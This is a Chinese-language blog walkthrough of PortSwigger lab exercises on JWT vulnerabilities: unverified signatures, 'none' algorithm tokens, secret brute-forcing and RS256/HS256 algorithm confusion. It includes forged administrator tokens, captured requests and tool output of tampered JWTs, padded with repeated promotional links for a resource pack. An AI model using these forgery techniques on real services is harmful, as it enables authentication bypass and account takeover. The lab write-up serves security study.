一文学习JWT造成的各种安全漏洞利用手法,网络安全零基础入门到精通实战教程!

接受任意签名(未校验)

JWT 库通常提供一种方法来验证令牌,而另一种方法只是解码它们。例如,Node.js 库 jsonwebtoken 具有 verify() 和 decode()。

有时,开发人员会混淆这两个方法,只将传入的令牌传递给 decode() 方法。这实际上意味着应用程序根本不验证签名。

地址 https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature

任务要求

此实验室使用基于 JWT 的机制来处理会话。由于实现缺陷,服务器不会验证它收到的任何 JWT 的签名。

要解决该实验,请修改您的会话令牌以访问 /admin 上的管理面板,然后删除用户 carlos。

您可以使用以下凭证登录自己的帐户:wiener:peter

我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~

解决过程

点击来到博客页面

在这里插入图片描述

使用 wiener:peter 登录

在这里插入图片描述

登录成功后可以修改邮箱

然后看到 bp 抓的包

在这里插入图片描述

session 中

eyJraWQiOiI5ZWYyMWIyNS05YmQ3LTQ0NTktYTM2Ny01NjY2NmNlMGMwNzgiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTczNDU5MTAyMiwic3ViIjoid2llbmVyIn0.U2uAHMO5oXSpo2RFCB8hq4oe3fZ1WKzHovlDVje9TNIh3tYOJINIW\-vpCPmnQU2EKa3F3dkU\-d6nZUdlfbOcLkrRJ1BJiaNjk68\-LtIrnU0aDhmY1S3g6peimnoceuU6MLP2jee7ET\-QFN\_289hvIO2shxY6VVAOIgelTgThDcNZ6GES9eZZw8KWNFQaHJLLUgHy66b5zKvqLqm\_ziISA6TeCEmyxkBw\-aELK5MMB3BOPF81P03Bek1sRkiPT3owGiYrQRiONPhXcKQIAMf7W5wEmBJGux4\_wDXJYyk4J59aP\_GPYj6istXr4uWjIyLsk0\_LFpk45kE3LBGMKCbp\_g

很明显的 jwt

在这里插入图片描述

因为本关没有对 signnature 进行验证,我们可以随意伪造
我们修改为 administrator
得到新的 jwt

eyJraWQiOiI5ZWYyMWIyNS05YmQ3LTQ0NTktYTM2Ny01NjY2NmNlMGMwNzgiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTczNDU5MTAyMiwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.U2uAHMO5oXSpo2RFCB8hq4oe3fZ1WKzHovlDVje9TNIh3tYOJINIW\-vpCPmnQU2EKa3F3dkU\-d6nZUdlfbOcLkrRJ1BJiaNjk68\-LtIrnU0aDhmY1S3g6peimnoceuU6MLP2jee7ET\-QFN\_289hvIO2shxY6VVAOIgelTgThDcNZ6GES9eZZw8KWNFQaHJLLUgHy66b5zKvqLqm\_ziISA6TeCEmyxkBw\-aELK5MMB3BOPF81P03Bek1sRkiPT3owGiYrQRiONPhXcKQIAMf7W5wEmBJGux4\_wDXJYyk4J59aP\_GPYj6istXr4uWjIyLsk0\_LFpk45kE3LBGMKCbp\_g

在这里插入图片描述

这里因为如果整个一起修改的哇,工具还是会识别签名,所以只需要修改 head 即可

然后我们在使用这个 jwt 去访问 admin

在这里插入图片描述

成功访问到,然后我们删除用户
在这里插入图片描述

完成题目

接受没有签名的令牌

JWT 标头包含一个 alg 参数。这会告诉服务器使用哪种算法对令牌进行签名,从而告诉服务器在验证签名时需要使用哪种算法。

{
    "alg": "HS256",
    "typ": "JWT"
}

WT 可以使用一系列不同的算法进行签名,但也可以保持不签名状态。在这种情况下,alg 参数设置为 none,而且服务支持把alg字段设置为none,则任何的token都是ok的

任务要求

此实验室使用基于 JWT 的机制来处理会话。服务器被不安全地配置为接受未签名的 JWT。

要解决该实验,请修改您的会话令牌以访问 /admin 上的管理面板,然后删除用户 carlos。

您可以使用以下凭证登录自己的帐户:wiener:peter

解决过程

我们还是一样的到改变邮件地址的地方得到我们的jwt

POST /my-account/change-email HTTP/1.1
Host: 0a4d002404a8bd53832728fd00870040.web-security-academy.net
Cookie: session=eyJraWQiOiIwNWYzODFiZC1hNDkyLTQ0NGMtOWU2Yi1lZjE2Y2Q3ZmU3MzgiLCJhbGciOiJub25lIn0=.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTczNDY3OTEwMSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.JGTRlJwR--7nMIEqQoVHmHBb_lYJFFARlpnmpRo5aZy9DIKSHjfpjRWjNXZjLJKSqhX6ESNssAakd3X2fsxIFMLOEJ-I5KwUhOP7JgiGN31MKWztUDoY-UY1IVAMYc96kbKMZmrDF9QUxULePX93lwPZ590BzMGdxWDuu-cqan7FhYCDwlpkM7ttat65REdKDGUFz1TZPRSs4R6SAsJ9k7s--ug_AtZjXNOTdV_kvzACvbd7aLQAMu5k-SNVlKoECGnFn4r9gqTlArd4gGz5uBrkiGFmUUvyX_fC-uUey_suTyZK5HdHcgbPARZPksSA3Oy13MQbelgWYOp4ClHGvA
Content-Length: 63
Cache-Control: max-age=0
Sec-Ch-Ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Origin: https://0a4d002404a8bd53832728fd00870040.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a4d002404a8bd53832728fd00870040.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Connection: keep-alive

email=2403635670%40qq.com&csrf=ElaQw9CZH470lOeuHq4yhNONqwoTLMpP

然后一样的解码

在这里插入图片描述

我们需要改的地方如图

改之后即可成功

我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~

jwt密钥爆破

这个就和我们的弱密码的效果差不多的,怎么说一般都爆破不出来,如果需要爆破的话可以使用 jwt_tool https://github.com/ticarpi/jwt_tool

这里参考https://forum.butian.net/share/2734

效果如下

在这里插入图片描述

算法混淆绕过

加密算法

两个必须有知道的加密方法

HS256 (HMAC with SHA-256) HMAC (Hash-based Message Authentication Code) 是一种基于哈希的消息认证码。HS256 使用 SHA-256 哈希算法来生成一个基于共享密钥的签名。

密钥: HS256 使用对称密钥,即同一个密钥用于签名和验证 JWT。发送者和接收者必须共享相同的密钥才能验证签名。

流程: 发送者使用密钥和算法(HMAC-SHA256)对 JWT 的头部和负载进行加密,生成签名。 接收者使用相同的密钥和算法验证 JWT 是否被篡改。

在这里插入图片描述

RS256 (RSA Signature with SHA-256) RSA 是一种非对称加密算法,RS256 使用 RSA 公私钥对来签名和验证 JWT。

密钥: RS256 使用公钥和私钥对。发送者使用私钥签名 JWT,而接收者使用公钥验证签名。接收者不需要拥有私钥,私钥和公钥是成对生成的。

流程: 发送者使用私钥和 SHA-256 算法对 JWT 进行签名。 接收者使用公钥验证签名,确保 JWT 没有被篡改。
在这里插入图片描述

漏洞原因

首先我们的验证签名后端可能是这样一个逻辑

function verify(token, secretOrPublicKey){
    algorithm = token.getAlgHeader();  // 获取JWT头部中的alg字段
    if(algorithm == "RS256"){
        // 使用提供的密钥作为RSA公钥
    } else if (algorithm == "HS256"){
        // 使用提供的密钥作为HMAC密钥
    }
}

它通过检查 JWT 中 alg (算法)头部来决定如何验证签名

对于 RS256,它将使用一个公钥来验证签名。

对于 HS256,它将使用一个共享密钥来验证签名。

但是问题是出在开发者

错误地传递一个固定的公钥来验证所有类型的 JWT,而不考虑它们实际使用的算法。例如,开发者可能会总是传递一个公钥(假设它只适用于 RS256 签名)来验证所有的 JWT:

publicKey = <public-key-of-server>;
token = request.getCookie("session");
verify(token, publicKey);  // 不管JWT使用的是什么算法,都传递固定的公钥

在这种情况下, HS256 类型的 JWT(该算法使用对称密钥)也会传递给 verify() 函数,并且使用公钥进行验证。由于 HS256 使用的是共享密钥而不是公钥,这样的验证将无法通过。

我们的攻击思路就是把 alg 修改为 HS256 , HS256 类型的 JWT(该算法使用对称密钥)也会传递给 verify() 函数,并且使用公钥进行验证。

漏洞利用

在这里插入图片描述

获取公钥

首先我们需要寻找一下公钥

服务器有时通过映射到/jwks.json 或/.well-known/jwks.json 的端点将它们的公钥公开为 JSON Web Key(JWK)对象,比如大家熟知的/jwks.json,这些可能被存储在一个称为密钥的 jwk 数组中,这就是众所周知的 JWK 集合

JSON Web Key (JWK) 是一种表示公钥的标准格式。它是一个 JSON 对象,其中包含了与公钥相关的信息,通常用于 JWT 签名验证。JWK 使得公开公钥的交换更加简便和自动化,特别是在不想直接暴露公钥的情况下,可以通过标准的 API 进行检索。

很多基于 JWT 的身份验证系统,尤其是 OAuth2 和 OpenID Connect(OIDC)实现,公开其公钥以供客户端验证签名。这个公钥通常存储在一个称为 JWK 集合(JWK Set) 的 JSON 文档中。

一般都是在
/jwks.json
/.well-known/jwks.json

比如

{
  "keys": [
    {
      "kty": "RSA",
      "kid": "2011-04-29",
      "use": "sig",
      "alg": "RS256",
      "n": "sXch3g6zWHTg7kW7D...",
      "e": "AQAB"
    },
    {
      "kty": "RSA",
      "kid": "2017-06-15",
      "use": "sig",
      "alg": "RS256",
      "n": "rWLZjw4k4Yt6N1W_g...",
      "e": "AQAB"
    }
  ]
}

我们可以尝试访问有没有泄露
在这里插入图片描述

是有的

{"keys":[{"kty":"RSA","e":"AQAB","use":"sig","kid":"3d4d19f8-c756-4012-a10f-b8ee18646c70","alg":"RS256","n":"wa3grpCz-1Rt6olPXN_HNsZfo5_L4mfMejejtCbSHojFUTyTjNcwFl-oXZBcNCeYKJVP9Ll0YvNjZbi5C3xn5G2zbu3nL5FRjZIpagK_Zmr_4CpAEPH5fLoL2G2cDTyyb1tWS9Y7R0-MEvm9QN7S7iw3NM2JLC_C1FL5ugtta_x-hQIVXCOWH_qHeoHtDNnGdy7KEyrryeeZGNGl2ZuGk2KCxYKA0VYgwAd_g7T-3ya935wPrSMptJ-OxHcBKBk-mYd_y_XaKEBDG7jZS_uHFbFSQ5prHELUsgGv6tylkqPIsmPclByaKM6cJ0vg00EAZmaoGhQoO_th14qMs939oQ"}]}

我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~

生成签名

我们把 key 放进去生成一个新的 RSA
在这里插入图片描述

然后复制我们的公钥 拿去再 base64 一波

在这里插入图片描述

得到的 base64 编码我们用来生成 Symmetric key

替换这个

在这里插入图片描述
在这里插入图片描述

修改后然后访问 admin 发包

在这里插入图片描述

成功访问到 admin 界面

无密钥算法混淆

这个相比于上一个就没有什么泄露了,不过我们可以使用工具去
在这里插入图片描述

而工具的作用就是
在这里插入图片描述

首先我们需要获取两个 jwt

登录获得的 jwt

eyJraWQiOiJkYTA2Yzg1YS0xODRhLTQxOGYtYjVlOS0yYzIyMDY3MTM4NTIiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTczNTIxOTY3Mywic3ViIjoid2llbmVyIn0.KY4JVtaDwH8nbbB_zapvzUR1txuLXPewAjkA-06TQ1ur6Vo8-yWHzclmfLEMi4PqT8bf2td0LMoZ7ttW27jjAm2Dv6-B4D8Q_4-b1fNrZHAp4YdMsYnkMD0jiPBAX5_9x0XPG6cOIBv8Voimd_1_Ghjncu4-oVItT9q0DeoaB0opXNm1btBo0fi-VakhiCaBgRfOmCJOXZL94ZT5szf7HxbbfM4jXX1nlD1G8ysThaEl6FYcCI8EAQ261MKbKvcbgNsLWurujKW98wqPk_i5rfizYMcv46YZ2KVoYSbCFpB6KOa5aT4WG6fZYcD19KaNDyvrWkR3rVKOe7x7uaYOCA

我退出再次登录获取的 jwt

eyJraWQiOiJkYTA2Yzg1YS0xODRhLTQxOGYtYjVlOS0yYzIyMDY3MTM4NTIiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTczNTIxOTcyMCwic3ViIjoid2llbmVyIn0.XNJEemR2Z-h2vkfCZHkPoQznBvRvisZYwRV5a2Knx51eWNy-gdyMrV217EExUU-JxSTJG-bqsZUtCUBlYEcbUGOMP1UZWDIjKtW19XqMTiUvHykJOsMzNqkdrWZ2dcP0k5SEdoO0cGVil7WNdVKfjFU9oBXTOJGNxCroqWHksX9sMKojtHnufZW6WABOIku7I5ev11VsPleMrW4GMXIR7Jc51o7b8dFeAXISBXNlFCIumLKlSbhwE7O6Kf_qEOfC_FxXPxNWFRWFnKqi4d44EJUXama1G5bzvGT8Cjf0ilhvJM8ItDJRlpXts9eTm1Lo8UuxpFae_0D7vqJffaYyPw

然后按照教程

结果如下

Found n with multiplier 1:
    Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRURJeC9pQ1A3Um8zWS82dUdaQW1XZQpocVUrWmhzTDlsOHZMTWgvTDZjeGhrWHJUWGxxYk9xbndnN0hSSXdzcU14NnZySDNmZW5TVUs3cFh2OERZU2hHCjd5cGMzOHlvM2Q0TnMrZVVVeTVBQ3FMb1VnTjMvMlNZR1RJL3czWXJqVzBSd05JemhZOXhXV3g5dE9GZ2ZBR1cKQm4wK2JPblZraHdvVkRQcWNJZnhnd2lPTy9Xa1lLNmRBRTZxN0FqSDc3UzY4Vis1a3c1TTRRYWxwdUJCaFR6MwpCNlR3dHBrc05ETHRuRUNjcElCS1BkeUxmcXFKTzZRaTVBNm1GblZ1aE9KREN3QWpJbFlBNWFhdk9ZVUFBVElXCk0rY1JaZjN4VHVPWkh1enBEd0VJUjJROGF4TER5aHFGcnY5d0tCTWMxWjhLUUlIVVFxejRkdTVLOHZjU2FnRzQKMUFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
    Tampered JWT: eyJraWQiOiJkYTA2Yzg1YS0xODRhLTQxOGYtYjVlOS0yYzIyMDY3MTM4NTIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTczNTMwMzM2OSwgInN1YiI6ICJ3aWVuZXIifQ.r1PuQ90sThTNeUn8TEPvcU_tt-me7G64u5h4dWdt8Hg
    Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFREl4L2lDUDdSbzNZLzZ1R1pBbVdlaHFVK1poc0w5bDh2TE1oL0w2Y3hoa1hyVFhscWJPcW4Kd2c3SFJJd3NxTXg2dnJIM2ZlblNVSzdwWHY4RFlTaEc3eXBjMzh5bzNkNE5zK2VVVXk1QUNxTG9VZ04zLzJTWQpHVEkvdzNZcmpXMFJ3Tkl6aFk5eFdXeDl0T0ZnZkFHV0JuMCtiT25Wa2h3b1ZEUHFjSWZ4Z3dpT08vV2tZSzZkCkFFNnE3QWpINzdTNjhWKzVrdzVNNFFhbHB1QkJoVHozQjZUd3Rwa3NOREx0bkVDY3BJQktQZHlMZnFxSk82UWkKNUE2bUZuVnVoT0pEQ3dBaklsWUE1YWF2T1lVQUFUSVdNK2NSWmYzeFR1T1pIdXpwRHdFSVIyUThheExEeWhxRgpydjl3S0JNYzFaOEtRSUhVUXF6NGR1NUs4dmNTYWdHNDFBSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K
    Tampered JWT: eyJraWQiOiJkYTA2Yzg1YS0xODRhLTQxOGYtYjVlOS0yYzIyMDY3MTM4NTIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTczNTMwMzM2OSwgInN1YiI6ICJ3aWVuZXIifQ.arzSrxOp1ANyTQoJBnpy8zSu-_xfTRt1Tp_gRXZM7hs

Found n with multiplier 2:
    Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUJrWS94Qkg5bzBic2Y5WERNZ1RMUApRMUtmTXcyRit5K1hsbVEvbDlPWXd5TDFwcnkxTm5WVDRRZGpva1lXVkdZOVgxajd2dlRwS0ZkMHIzK0JzSlFqCmQ1VXViK1pVYnU4RzJmUEtLWmNnQlZGMEtRRzcvN0pNREprZjRic1Z4cmFJNEdrWndzZTRyTFkrMm5Dd1BnREwKQXo2Zk5uVHF5UTRVS2huMU9FUDR3WVJISGZyU01GZE9nQ2RWZGdSajk5cGRlSy9jeVljbWNJTlMwM0Fnd3A1NwpnOUo0VzB5V0dobDJ6aUJPVWtBbEh1NUZ2MVZFbmRJUmNnZFRDenEzUW5FaGhZQVJrU3NBY3ROWG5NS0FBSmtMCkdmT0lzdjc0cDNITWozWjBoNENFSTdJZU5ZbGg1UTFDMTMrNEZBbU9hcytGSUVEcUlWWjhPM2NsZVh1Sk5RRGMKYWdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
    Tampered JWT: eyJraWQiOiJkYTA2Yzg1YS0xODRhLTQxOGYtYjVlOS0yYzIyMDY3MTM4NTIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTczNTMwMzM2OSwgInN1YiI6ICJ3aWVuZXIifQ.dY2Ag7OO40l9l0rYAPb5RKxkEhDX1QHv35xcuIbK1wQ
    Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQmtZL3hCSDlvMGJzZjlYRE1nVExQUTFLZk13MkYreStYbG1RL2w5T1l3eUwxcHJ5MU5uVlQKNFFkam9rWVdWR1k5WDFqN3Z2VHBLRmQwcjMrQnNKUWpkNVV1YitaVWJ1OEcyZlBLS1pjZ0JWRjBLUUc3LzdKTQpESmtmNGJzVnhyYUk0R2tad3NlNHJMWSsybkN3UGdETEF6NmZOblRxeVE0VUtobjFPRVA0d1lSSEhmclNNRmRPCmdDZFZkZ1JqOTlwZGVLL2N5WWNtY0lOUzAzQWd3cDU3ZzlKNFcweVdHaGwyemlCT1VrQWxIdTVGdjFWRW5kSVIKY2dkVEN6cTNRbkVoaFlBUmtTc0FjdE5Ybk1LQUFKa0xHZk9Jc3Y3NHAzSE1qM1owaDRDRUk3SWVOWWxoNVExQwoxMys0RkFtT2FzK0ZJRURxSVZaOE8zY2xlWHVKTlFEY2FnSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K
    Tampered JWT: eyJraWQiOiJkYTA2Yzg1YS0xODRhLTQxOGYtYjVlOS0yYzIyMDY3MTM4NTIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTczNTMwMzM2OSwgInN1YiI6ICJ3aWVuZXIifQ.JcDsUzNIeZdXeZmg8ngAxf7pJhEYoe5wAvYjXhHv50c

Found n with multiplier 4:
    Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF5TWY0Z2orMGFOMlArcmhtUUpsbgpvYWxQbVliQy9aZkx5eklmeStuTVlaRjYwMTVhbXpxcDhJT3gwU01MS2pNZXI2eDkzM3AwbEN1NlY3L0EyRW9SCnU4cVhOL01xTjNlRGJQbmxGTXVRQXFpNkZJRGQvOWttQmt5UDhOMks0MXRFY0RTTTRXUGNWbHNmYlRoWUh3QmwKZ1o5UG16cDFaSWNLRlF6Nm5DSDhZTUlqanYxcEdDdW5RQk9xdXdJeCsrMHV2RmZ1Wk1PVE9FR3BhYmdRWVU4OQp3ZWs4TGFaTERReTdaeEFuS1NBU2ozY2kzNnFpVHVrSXVRT3BoWjFib1RpUXdzQUl5SldBT1dtcnptRkFBRXlGCmpQbkVXWDk4VTdqbVI3czZROEJDRWRrUEdzU3c4b2FoYTcvY0NnVEhOV2ZDa0NCMUVLcytIYnVTdkwzRW1vQnUKTlFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
    Tampered JWT: eyJraWQiOiJkYTA2Yzg1YS0xODRhLTQxOGYtYjVlOS0yYzIyMDY3MTM4NTIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTczNTMwMzM2OSwgInN1YiI6ICJ3aWVuZXIifQ.l-xCA6Jdg25RCBoBeKXxI8ICZ82HsC1UQ13jKh_TR2I
    Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQXlNZjRnaiswYU4yUCtyaG1RSmxub2FsUG1ZYkMvWmZMeXpJZnkrbk1ZWkY2MDE1YW16cXAKOElPeDBTTUxLak1lcjZ4OTMzcDBsQ3U2VjcvQTJFb1J1OHFYTi9NcU4zZURiUG5sRk11UUFxaTZGSURkLzlrbQpCa3lQOE4ySzQxdEVjRFNNNFdQY1Zsc2ZiVGhZSHdCbGdaOVBtenAxWkljS0ZRejZuQ0g4WU1Jamp2MXBHQ3VuClFCT3F1d0l4KyswdXZGZnVaTU9UT0VHcGFiZ1FZVTg5d2VrOExhWkxEUXk3WnhBbktTQVNqM2NpMzZxaVR1a0kKdVFPcGhaMWJvVGlRd3NBSXlKV0FPV21yem1GQUFFeUZqUG5FV1g5OFU3am1SN3M2UThCQ0Vka1BHc1N3OG9haAphNy9jQ2dUSE5XZkNrQ0IxRUtzK0hidVN2TDNFbW9CdU5RSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K
    Tampered JWT: eyJraWQiOiJkYTA2Yzg1YS0xODRhLTQxOGYtYjVlOS0yYzIyMDY3MTM4NTIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTczNTMwMzM2OSwgInN1YiI6ICJ3aWVuZXIifQ.cd9-Y0F6XGSi41wr7ql4292cQdAQx-LZcJQT7c55sqI

然后就是一个一个尝试了,但是因为

在这里插入图片描述

bp已经说了,我们就不需要再去尝试了

然后之后的步骤和上一个一模一样的,就不再去弄了

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

在这里插入图片描述
在这里插入图片描述

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程扫描领取哈)
在这里插入图片描述
在这里插入图片描述

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:
在这里插入图片描述
黑客资料由于是敏感资源,这里不能直接展示哦! (全套教程扫描领取哈)

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
在这里插入图片描述

👉5.黑客必读书单👈

在这里插入图片描述

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
在这里插入图片描述

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值